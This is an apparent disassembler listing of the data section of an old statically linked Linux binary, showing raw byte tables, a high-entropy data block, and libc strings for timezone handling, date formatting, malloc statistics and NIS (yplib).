; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 1 ; db 0C0h ; db 67h ; g db 2Ah ; * db 8Dh ; db 4Eh ; N db 72h ; r db 0D4h ; db 0E7h ; db 7Ah ; z db 0FEh ; db 8Eh ; db 90h ; db 1Eh ; db 9Ah ; db 0F8h ; db 17h ; db 41h ; A db 8 ; db 0EFh ; db 54h ; T db 51h ; Q db 0E0h ; db 54h ; T db 51h ; Q db 0BBh ; db 0B1h ; db 13h ; db 29h ; ) db 0E8h ; db 6Bh ; k db 50h ; P db 72h ; r db 0B1h ; db 29h ; ) db 0FBh ; db 4Eh ; N db 57h ; W db 99h ; db 0E5h ; db 46h ; F db 61h ; a db 0DAh ; db 0F0h ; db 0D3h ; db 0Eh ; db 6Ch ; l db 80h ; db 0BEh ; db 0E5h ; db 6Ah ; j db 0B8h ; db 93h ; db 5Eh ; ^ db 15h ; db 45h ; E db 0C2h ; db 1Ch ; db 59h ; Y db 0C0h ; db 34h ; 4 db 7Ch ; | db 1Eh ; db 7Eh ; ~ db 0DAh ; db 23h ; # db 48h ; H db 7Ch ; | db 0CEh ; db 4Ch ; L db 1Fh ; db 1Dh ; db 0E8h ; db 0A1h ; db 8Bh ; db 9Bh ; db 75h ; u db 0DFh ; db 0BFh ; db 0D6h ; db 10h ; db 0BEh ; db 41h ; A db 0E3h ; db 78h ; x db 0AEh ; db 0DFh ; db 0C2h ; db 0B2h ; db 67h ; g db 6Bh ; k db 1 ; db 1Ah ; db 7Fh ;  db 23h ; # db 0Fh ; db 0CDh ; db 0ABh ; db 0BEh ; db 3Dh ; = db 74h ; t db 25h ; % db 6Ah ; j db 0AFh ; db 0D7h ; db 0E6h ; db 0B3h ; db 0CAh ; db 80h ; db 0Eh ; db 2Eh ; . db 14h ; db 27h ; ' db 91h ; db 95h ; db 61h ; a db 11h ; db 48h ; H db 23h ; # db 2Ch ; , db 1 ; db 97h ; db 0 ; db 87h ; db 82h ; db 0F9h ; db 4Bh ; K db 0CBh ; db 84h ; db 9Ch ; db 16h ; db 0F8h ; db 8Ch ; db 2Fh ; / db 5 ; db 88h ; db 0D4h ; db 0E6h ; db 0DDh ; db 68h ; h db 61h ; a db 17h ; db 13h ; db 0BCh ; db 5 ; db 9 ; db 0Bh ; db 0FFh ; db 41h ; A db 9Ch ; db 0ABh ; db 54h ; T db 24h ; $ db 0B2h ; db 13h ; db 76h ; v db 4Eh ; N db 30h ; 0 db 1Ch ; db 1Ah ; db 7Bh ; { db 16h ; db 0FEh ; db 3Bh ; ; db 47h ; G db 2Dh ; - db 1Ch ; db 44h ; D db 9Ch ; db 0EAh ; db 6Ch ; l db 4Fh ; O db 81h ; db 61h ; a db 0F0h ; db 78h ; x db 0B8h ; db 9Fh ; db 65h ; e db 0EBh ; db 41h ; A db 0AEh ; db 0C7h ; db 30h ; 0 db 0Eh ; db 0Dh ; db 7Eh ; ~ db 94h ; db 0D7h ; db 0CAh ; db 0EBh ; db 0A1h ; db 56h ; V db 95h ; db 7Dh ; } db 0D9h ; db 4Dh ; M db 50h ; P db 30h ; 0 db 21h ; ! db 0CBh ; db 9 ; db 83h ; db 1Ah ; db 7 ; db 0D5h ; db 0ACh ; db 0F2h ; db 2Ah ; * db 0C7h ; db 8Eh ; db 3Fh ; ? db 3Ah ; : db 37h ; 7 db 82h ; db 0FDh ; db 0BCh ; db 42h ; B db 0A8h ; db 95h ; db 32h ; 2 db 4Dh ; M db 0Fh ; db 28h ; ( db 0C0h ; db 8Ah ; db 61h ; a db 0F3h ; db 4 ; db 4Fh ; O db 1Ah ; db 81h ; db 0B4h ; db 0A5h ; db 0C3h ; db 6Dh ; m db 1Bh ; db 7Ah ; z db 96h ; db 0D3h ; db 98h ; db 0C8h ; db 0B8h ; db 15h ; db 8Fh ; db 38h ; 8 db 0FEh ; db 0DCh ; db 0A0h ; db 0B2h ; db 4Eh ; N db 45h ; E db 9 ; db 0B9h ; db 38h ; 8 db 87h ; db 96h ; db 0E9h ; db 0C4h ; db 10h ; db 11h ; db 0CCh ; db 0D9h ; db 2Bh ; + db 0Ch ; db 0CDh ; db 97h ; db 32h ; 2 db 30h ; 0 db 0ECh ; db 5Fh ; _ db 65h ; e db 0B1h ; db 25h ; % db 7 ; db 0AEh ; db 0E8h ; db 0Eh ; db 9 ; db 0F4h ; db 0EEh ; db 19h ; db 7Dh ; } db 3 ; db 0EDh ; db 6Fh ; o db 8Ch ; db 39h ; 9 db 6Bh ; k db 0F2h ; db 9Ah ; db 3Bh ; ; db 50h ; P db 0A4h ; db 94h ; db 0C9h ; db 43h ; C db 17h ; db 34h ; 4 db 0B5h ; db 0B2h ; db 97h ; db 0A6h ; db 75h ; u db 0C1h ; db 0B9h ; db 50h ; P db 0ACh ; db 92h ; db 5Bh ; [ db 0CBh ; db 3Ch ; < db 5 ; db 62h ; b db 0E0h ; db 0FFh ; db 61h ; a db 97h ; db 32h ; 2 db 0A8h ; db 42h ; B db 52h ; R db 0EAh ; db 0DFh ; db 0DBh ; db 0CAh ; db 83h ; db 0EBh ; db 0F7h ; db 0ADh ; db 9Dh ; db 0E7h ; db 69h ; i db 0EEh ; db 20h ; db 3Ch ; < db 17h ; db 68h ; h db 0Ah ; db 1Eh ; db 7Ah ; z db 0B9h ; db 21h ; ! db 70h ; p db 0FAh ; db 74h ; t db 30h ; 0 db 74h ; t db 76h ; v db 0A7h ; db 6Ch ; l db 17h ; db 0F6h ; db 8Ah ; db 0FBh ; db 77h ; w db 0EBh ; db 9Bh ; db 0A1h ; db 0ECh ; db 0DEh ; db 0F1h ; db 0BAh ; db 92h ; db 12h ; db 0B7h ; db 63h ; c db 0AFh ; db 8Bh ; db 0C8h ; db 35h ; 5 db 0DEh ; db 8Ch ; db 8Fh ; db 0EBh ; db 0A4h ; db 0E9h ; db 0D5h ; db 37h ; 7 db 0E1h ; db 0A0h ; db 64h ; d db 0B4h ; db 40h ; @ db 0E8h ; db 0CDh ; db 0D1h ; db 87h ; db 0BDh ; db 3Bh ; ; db 92h ; db 42h ; B db 0FFh ; db 62h ; b db 8Fh ; db 0CDh ; db 0F3h ; db 90h ; db 26h ; & db 2Eh ; . db 16h ; db 0DCh ; db 5Eh ; ^ db 9 ; db 1Bh ; db 9Fh ; db 0C8h ; db 59h ; Y db 5Dh ; ] db 0FDh ; db 0A8h ; db 1Fh ; db 3Dh ; = db 75h ; u db 38h ; 8 db 51h ; Q db 29h ; ) db 2Bh ; + db 0Ah ; db 39h ; 9 db 18h ; db 2Fh ; / db 15h ; db 80h ; db 25h ; % db 0D9h ; db 0D8h ; db 2Dh ; - db 3Eh ; > db 0D8h ; db 84h ; db 0F9h ; db 74h ; t db 2Eh ; . db 87h ; db 7Ah ; z db 0AFh ; db 1Fh ; db 9Eh ; db 0C1h ; db 2Dh ; - db 54h ; T db 4Dh ; M db 0EDh ; db 0D0h ; db 0B5h ; db 0F9h ; db 0ECh ; db 75h ; u db 0EAh ; db 62h ; b db 94h ; db 0DFh ; db 0Ah ; db 3Ch ; < db 0C5h ; db 34h ; 4 db 0A1h ; db 0AEh ; db 0Ch ; db 39h ; 9 db 0D4h ; db 0A2h ; db 37h ; 7 db 8Ah ; db 2Eh ; . db 0FAh ; db 0C8h ; db 7Eh ; ~ db 32h ; 2 db 81h ; db 21h ; ! db 27h ; ' db 0B8h ; db 7Bh ; { db 6Eh ; n db 20h ; db 8 ; db 24h ; $ db 2Dh ; - db 0E0h ; db 10h ; db 0BEh ; db 50h ; P db 0B8h ; db 0D4h ; db 93h ; db 58h ; X db 0B9h ; db 2Bh ; + db 31h ; 1 db 0ABh ; db 22h ; " db 23h ; # db 2Bh ; + db 1Fh ; db 25h ; % db 3Fh ; ? db 0Bh ; db 44h ; D db 0DEh ; db 7Eh ; ~ db 62h ; b db 0BFh ; db 89h ; db 0C7h ; db 0DAh ; db 72h ; r db 95h ; db 0B8h ; db 8 ; db 0B6h ; db 2Ah ; * db 7Eh ; ~ db 78h ; x db 78h ; x db 0F0h ; db 0B3h ; db 0DEh ; db 86h ; db 0ABh ; db 7Ah ; z db 0EEh ; db 6Fh ; o db 0F4h ; db 73h ; s db 93h ; db 0BBh ; db 7Bh ; { db 0F5h ; db 0ECh ; db 27h ; ' db 7Eh ; ~ db 0B5h ; db 0D8h ; db 0F7h ; db 9Fh ; db 6Ah ; j db 0A2h ; db 0FCh ; db 0D2h ; db 0E8h ; db 4 ; db 3Dh ; = db 0CBh ; db 13h ; db 0DFh ; db 0C9h ; db 6Ah ; j db 82h ; db 72h ; r db 31h ; 1 db 7Ch ; | db 8Dh ; db 9Eh ; db 0CDh ; db 0E0h ; db 0D8h ; db 0FCh ; db 0A8h ; db 97h ; db 94h ; db 0C3h ; db 0B2h ; db 0D9h ; db 41h ; A db 76h ; v db 30h ; 0 db 0C1h ; db 39h ; 9 db 0C9h ; db 1Ch ; db 0CFh ; db 0C4h ; db 8 ; db 26h ; & db 0BFh ; db 0C7h ; db 0D1h ; db 0B6h ; db 7Eh ; ~ db 6Ah ; j db 32h ; 2 db 3Dh ; = db 0E6h ; db 19h ; db 0AFh ; db 0EEh ; db 5Fh ; _ db 0E2h ; db 13h ; db 8Eh ; db 2Bh ; + db 30h ; 0 db 63h ; c db 0EEh ; db 97h ; db 6Dh ; m db 0FEh ; db 2Dh ; - db 58h ; X db 1Dh ; db 97h ; db 25h ; % db 0C4h ; db 3Ch ; < db 1Dh ; db 0E4h ; db 7Ch ; | db 62h ; b db 80h ; db 0Ah ; db 9Ah ; db 0B5h ; db 8Dh ; db 0ABh ; db 0C8h ; db 37h ; 7 db 0EAh ; db 9Eh ; db 77h ; w db 0FBh ; db 0Ah ; db 0E9h ; db 0CFh ; db 19h ; db 0CAh ; db 90h ; db 2Ch ; , db 35h ; 5 db 0E3h ; db 9Eh ; db 50h ; P db 0C8h ; db 13h ; db 36h ; 6 db 82h ; db 0D6h ; db 78h ; x db 0FEh ; db 50h ; P db 6Eh ; n db 8Fh ; db 78h ; x db 4 ; db 9 ; db 6 ; db 5Bh ; [ db 0A4h ; db 0D1h ; db 1Bh ; db 0B7h ; db 34h ; 4 db 0B5h ; db 0ECh ; db 3Fh ; ? db 0Ch ; db 45h ; E db 2Ch ; , db 0B3h ; db 57h ; W db 38h ; 8 db 0C3h ; db 20h ; db 0DAh ; db 0CFh ; db 0E9h ; db 0A6h ; db 0CEh ; db 0F4h ; db 39h ; 9 db 2 ; db 87h ; db 71h ; q db 49h ; I db 48h ; H db 95h ; db 0DBh ; db 9Ah ; db 0A1h ; db 8Ah ; db 0EDh ; db 92h ; db 0B4h ; db 0A8h ; db 0A6h ; db 0ACh ; db 95h ; db 0D9h ; db 6Ch ; l db 0CDh ; db 4Dh ; M db 50h ; P db 23h ; # db 1Bh ; db 0CFh ; db 2Ah ; * db 0B1h ; db 0E8h ; db 0FBh ; db 8Ch ; db 77h ; w db 67h ; g db 1Ah ; db 0CCh ; db 3Ah ; : db 0EBh ; db 38h ; 8 db 83h ; db 0A3h ; db 2Dh ; - db 0C3h ; db 0B1h ; db 6Ah ; j db 12h ; db 0FBh ; db 0A8h ; db 40h ; @ db 3Fh ; ? db 0A0h ; db 46h ; F db 0F5h ; db 5Bh ; [ db 0EDh ; db 24h ; $ db 47h ; G db 0CEh ; db 0E9h ; db 0FDh ; db 74h ; t db 4Ah ; J db 4Ch ; L db 0D8h ; db 30h ; 0 db 0A1h ; db 73h ; s db 2Dh ; - db 0Eh ; db 96h ; db 0D9h ; db 0C1h ; db 0D6h ; db 0EBh ; db 0A2h ; db 0EBh ; db 6Fh ; o db 0ABh ; db 94h ; db 7Ch ; | db 3Bh ; ; db 23h ; # db 6Fh ; o db 80h ; db 60h ; ` db 12h ; db 49h ; I db 73h ; s db 9Ah ; db 7Bh ; { db 8Eh ; db 91h ; db 90h ; db 8Ch ; db 4Bh ; K db 99h ; db 0F9h ; db 98h ; db 0D2h ; db 0B5h ; db 36h ; 6 db 0E8h ; db 35h ; 5 db 0FFh ; db 0DEh ; db 6Dh ; m db 0A9h ; db 31h ; 1 db 9Bh ; db 11h ; db 96h ; db 0BCh ; db 0D9h ; db 0Dh ; db 6Bh ; k db 8Dh ; db 3Fh ; ? db 0CCh ; db 0C6h ; db 0FBh ; db 66h ; f db 25h ; % db 28h ; ( db 0E7h ; db 82h ; db 0B8h ; db 72h ; r db 3Bh ; ; db 9Fh ; db 76h ; v db 0D6h ; db 3Dh ; = db 34h ; 4 db 74h ; t db 0A6h ; db 9Bh ; db 50h ; P db 0FCh ; db 0 ; db 89h ; db 77h ; w db 0BFh ; db 0DCh ; db 3Fh ; ? db 6Ah ; j db 26h ; & db 0D6h ; db 0FDh ; db 41h ; A db 96h ; db 0AEh ; db 1Bh ; db 54h ; T db 89h ; db 4Eh ; N db 7 ; db 34h ; 4 db 95h ; db 11h ; db 3 ; db 0Dh ; db 40h ; @ db 53h ; S db 5Ah ; Z db 0D7h ; db 0Dh ; db 8Eh ; db 45h ; E db 33h ; 3 db 0B5h ; db 0E5h ; db 0ADh ; db 19h ; db 8Fh ; db 10h ; db 0BCh ; db 89h ; db 8Bh ; db 10h ; db 54h ; T db 0C9h ; db 0A4h ; db 41h ; A db 63h ; c db 2Bh ; + db 3Bh ; ; db 0E0h ; db 7Fh ;  db 3Dh ; = db 7Bh ; { db 43h ; C db 8Eh ; db 0EDh ; db 0ACh ; db 97h ; db 70h ; p db 66h ; f db 0D6h ; db 0CBh ; db 0C2h ; db 8 ; db 55h ; U db 2Ch ; , db 69h ; i db 0BCh ; db 0Eh ; db 65h ; e db 0F0h ; db 2Eh ; . db 4Fh ; O db 5Ch ; \ db 0BFh ; db 0F6h ; db 4Fh ; O db 90h ; db 0DFh ; db 0A2h ; db 85h ; db 99h ; db 9Eh ; db 0DDh ; db 0ADh ; db 9Fh ; db 39h ; 9 db 0D2h ; db 0D8h ; db 5Eh ; ^ db 32h ; 2 db 58h ; X db 58h ; X db 25h ; % db 0B9h ; db 1Ch ; db 0E5h ; db 0E3h ; db 0D4h ; db 0F1h ; db 0F4h ; db 0Fh ; db 9Ah ; db 2Dh ; - db 0C0h ; db 56h ; V db 4 ; db 0F8h ; db 4Eh ; N db 8Ch ; db 13h ; db 8Ah ; db 0A0h ; db 0C1h ; db 0C8h ; db 1 ; db 0FDh ; db 13h ; db 71h ; q db 76h ; v db 0D2h ; db 0E6h ; db 0F4h ; db 34h ; 4 db 0C2h ; db 0A7h ; db 0CCh ; db 76h ; v db 1 ; db 9Dh ; db 0F2h ; db 3Dh ; = db 0D7h ; db 0D0h ; db 89h ; db 0FAh ; db 8Bh ; db 4Dh ; M db 0CDh ; db 10h ; db 4Fh ; O db 54h ; T db 0B2h ; db 0E0h ; db 17h ; db 2Bh ; + db 7Dh ; } db 5Ch ; \ db 0Ah ; db 0B7h ; db 49h ; I db 0FEh ; db 86h ; db 0FDh ; db 41h ; A db 3Fh ; ? db 37h ; 7 db 0DFh ; db 0BBh ; db 95h ; db 44h ; D db 21h ; ! db 0FDh ; db 57h ; W db 0E8h ; db 84h ; db 0D5h ; db 13h ; db 0D3h ; db 0 ; db 0BEh ; db 0FCh ; db 96h ; db 4 ; db 44h ; D db 47h ; G db 0BAh ; db 0A4h ; db 82h ; db 0C9h ; db 0CAh ; db 0E8h ; db 6Eh ; n db 9Eh ; db 0C2h ; db 0AEh ; db 38h ; 8 db 70h ; p db 0ECh ; db 87h ; db 19h ; db 0A5h ; db 0 ; db 70h ; p db 3Bh ; ; db 33h ; 3 db 0EEh ; db 0AEh ; db 2Ch ; , db 0E4h ; db 66h ; f db 0FFh ; db 25h ; % db 6Bh ; k db 0FDh ; db 8Ah ; db 3Bh ; ; db 0F6h ; db 0B4h ; db 3 ; db 0DCh ; db 91h ; db 79h ; y db 0BDh ; db 0C7h ; db 0D9h ; db 0B8h ; db 5Ah ; Z db 4Eh ; N db 68h ; h db 0D4h ; db 2Eh ; . db 6Ch ; l db 1Ah ; db 74h ; t db 48h ; H db 0Dh ; db 94h ; db 6 ; db 0AFh ; db 49h ; I db 63h ; c db 0DCh ; db 2Fh ; / db 0CDh ; db 7Eh ; ~ db 3Dh ; = db 0B0h ; db 6Fh ; o db 99h ; db 74h ; t db 0E9h ; db 0F9h ; db 67h ; g db 78h ; x db 0ACh ; db 21h ; ! db 87h ; db 0ECh ; db 52h ; R db 4Ah ; J db 9Dh ; db 0DDh ; db 0BCh ; db 0 ; db 2Dh ; - db 0DDh ; db 8Eh ; db 6 ; db 0DEh ; db 57h ; W db 35h ; 5 db 0F8h ; db 59h ; Y db 0C7h ; db 41h ; A db 0B9h ; db 0D4h ; db 56h ; V db 39h ; 9 db 0F2h ; db 9 ; db 54h ; T db 0A7h ; db 0A1h ; db 0D8h ; db 3Ch ; < db 12h ; db 0ABh ; db 0Fh ; db 10h ; db 0B6h ; db 0E2h ; db 21h ; ! db 7Bh ; { db 3Eh ; > db 3Bh ; ; db 62h ; b db 8Dh ; db 2Eh ; . db 0A2h ; db 9Dh ; db 95h ; db 92h ; db 77h ; w db 5Fh ; _ db 0A3h ; db 0BCh ; db 0A5h ; db 3 ; db 0Ch ; db 20h ; db 57h ; W db 0B4h ; db 0FCh ; db 35h ; 5 db 0E4h ; db 0C6h ; db 0B6h ; db 1Bh ; db 28h ; ( db 0B9h ; db 4Eh ; N db 0F7h ; db 54h ; T db 0Bh ; db 5Dh ; ] db 3Dh ; = db 21h ; ! db 1Dh ; db 0CCh ; db 87h ; db 6Fh ; o db 4 ; db 64h ; d db 49h ; I db 40h ; @ db 42h ; B db 0AEh ; db 18h ; db 75h ; u db 0B2h ; db 68h ; h db 0D8h ; db 96h ; db 0B4h ; db 0D2h ; db 8Bh ; db 0F4h ; db 63h ; c db 55h ; U db 1Ch ; db 0F5h ; db 0D8h ; db 34h ; 4 db 0C2h ; db 70h ; p db 0E9h ; db 68h ; h db 0F8h ; db 0FFh ; db 1Fh ; db 15h ; db 0F9h ; db 0A2h ; db 0E4h ; db 7Bh ; { db 0AEh ; db 0EEh ; db 33h ; 3 db 11h ; db 27h ; ' db 22h ; " db 0D9h ; db 0Fh ; db 0BBh ; db 32h ; 2 db 49h ; I db 25h ; % db 25h ; % db 0C0h ; db 9Fh ; db 0Ah ; db 0A6h ; db 64h ; d db 0CDh ; db 4Bh ; K db 10h ; db 45h ; E db 1 ; db 29h ; ) db 30h ; 0 db 62h ; b db 0 ; db 0 ; db 0 ; off_8068DAC dd offset unk_8067FDC ; DATA XREF: sub_8053310+7D2o db 3 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; off_8068DBC dd offset unk_8067FE8 ; DATA XREF: sub_8053310+FC9o db 3 ; db 0 ; db 0 ; db 0 ; db 7 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 0F4h ; db 7Fh ;  db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 0Eh ; db 0 ; db 0 ; db 0 ; db 0Ah ; db 0 ; db 0 ; db 0 ; db 0 ; db 80h ; db 6 ; db 8 ; db 3 ; db 0 ; db 0 ; db 0 ; db 1Bh ; db 0 ; db 0 ; db 0 ; db 18h ; db 0 ; db 0 ; db 0 ; db 0Ch ; db 80h ; db 6 ; db 8 ; db 4 ; db 0 ; db 0 ; db 0 ; db 36h ; 6 db 0 ; db 0 ; db 0 ; db 32h ; 2 db 0 ; db 0 ; db 0 ; db 1Ch ; db 80h ; db 6 ; db 8 ; db 6 ; db 0 ; db 0 ; db 0 ; db 6Bh ; k db 0 ; db 0 ; db 0 ; db 67h ; g db 0 ; db 0 ; db 0 ; db 34h ; 4 db 80h ; db 6 ; db 8 ; db 9 ; db 0 ; db 0 ; db 0 ; db 0D5h ; db 0 ; db 0 ; db 0 ; db 0D2h ; db 0 ; db 0 ; db 0 ; db 58h ; X db 80h ; db 6 ; db 8 ; db 10h ; db 0 ; db 0 ; db 0 ; db 0AAh ; db 1 ; db 0 ; db 0 ; db 0A6h ; db 1 ; db 0 ; db 0 ; db 98h ; db 80h ; db 6 ; db 8 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 53h ; S db 3 ; db 0 ; db 0 ; db 50h ; P db 3 ; db 0 ; db 0 ; db 0Ch ; db 81h ; db 6 ; db 8 ; db 38h ; 8 db 0 ; db 0 ; db 0 ; db 0A5h ; db 6 ; db 0 ; db 0 ; db 0A2h ; db 6 ; db 0 ; db 0 ; db 0ECh ; db 81h ; db 6 ; db 8 ; db 6Dh ; m db 0 ; db 0 ; db 0 ; db 4Ah ; J db 0Dh ; db 0 ; db 0 ; db 47h ; G db 0Dh ; db 0 ; db 0 ; db 0A0h ; db 83h ; db 6 ; db 8 ; db 0D7h ; db 0 ; db 0 ; db 0 ; db 94h ; db 1Ah ; db 0 ; db 0 ; db 90h ; db 1Ah ; db 0 ; db 0 ; db 0FCh ; db 86h ; db 6 ; db 8 ; db 0ACh ; db 1 ; db 0 ; db 0 ; db 27h ; ' db 35h ; 5 db 0 ; db 0 ; db 24h ; $ db 35h ; 5 db 0 ; db 0 ; a@TheLinuxCLibr db '@(#) The Linux C library 5.3.12',0 ; DATA XREF: sub_8053310+403o ; sub_8053310+C14o ... dd offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12" unk_8068EA0 db 47h ; G ; DATA XREF: sub_805AF2C+8o ; sub_805AF2C+1Co ... db 4Dh ; M db 54h ; T db 0 ; unk_8068EA4 db 20h ; ; DATA XREF: sub_805A11C+6o ; sub_805A11C+10o db 20h ; db 20h ; db 0 ; aLocaltime db 'localtime',0 ; DATA XREF: sub_805A254+12o aUsrLibZoneinfo db '/usr/lib/zoneinfo',0 ; DATA XREF: sub_805A254+37o asc_8068EC4 db '/',0 ; DATA XREF: sub_805A254+7Fo ; sub_805A7E4+29Er db 8Dh ; db 36h ; 6 unk_8068EC8 db 1Fh ; ; DATA XREF: sub_805A7E4+100r ; sub_805A7E4+121r ... db 0 ; db 0 ; db 0 ; unk_8068ECC db 1Ch ; ; DATA XREF: sub_805A7E4+179r db 0 ; db 0 ; db 0 ; unk_8068ED0 db 1Fh ; ; DATA XREF: sub_805A7E4+192r db 0 ; db 0 ; db 0 ; unk_8068ED4 db 1Eh ; ; DATA XREF: sub_805A7E4+1ABr db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Dh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; db 1Eh ; db 0 ; db 0 ; db 0 ; db 1Fh ; db 0 ; db 0 ; db 0 ; dword_8068F28 dd 16Dh ; DATA XREF: sub_805AAC0+242r ; sub_805B1C4+25Fr ... db 6Eh ; n db 1 ; db 0 ; db 0 ; aPosixrules db 'posixrules',0 ; DATA XREF: sub_805AAC0+76o aTz db 'TZ',0 ; DATA XREF: sub_805AF5C+4o aSunmontuewedth db 'SunMonTueWedThuFriSat' ; DATA XREF: sub_805B4E0+34o aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.' ; DATA XREF: sub_805B4E0+28o db '2d:%02.2d %d',0Ah,0 aMaxSystemBytes db 'max system bytes = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+Eo aSystemBytes10u db 'system bytes = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+29o aInUseBytes10u db 'in use bytes = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+44o aMaxMmapRegions db 'max mmap regions = %10u',0Ah,0 ; DATA XREF: sub_805CBA8+5Co db 3 dup(0) aYplib_cV2_6199 db 'yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp',0 ; DATA XREF: .data:08078F90o db 90h 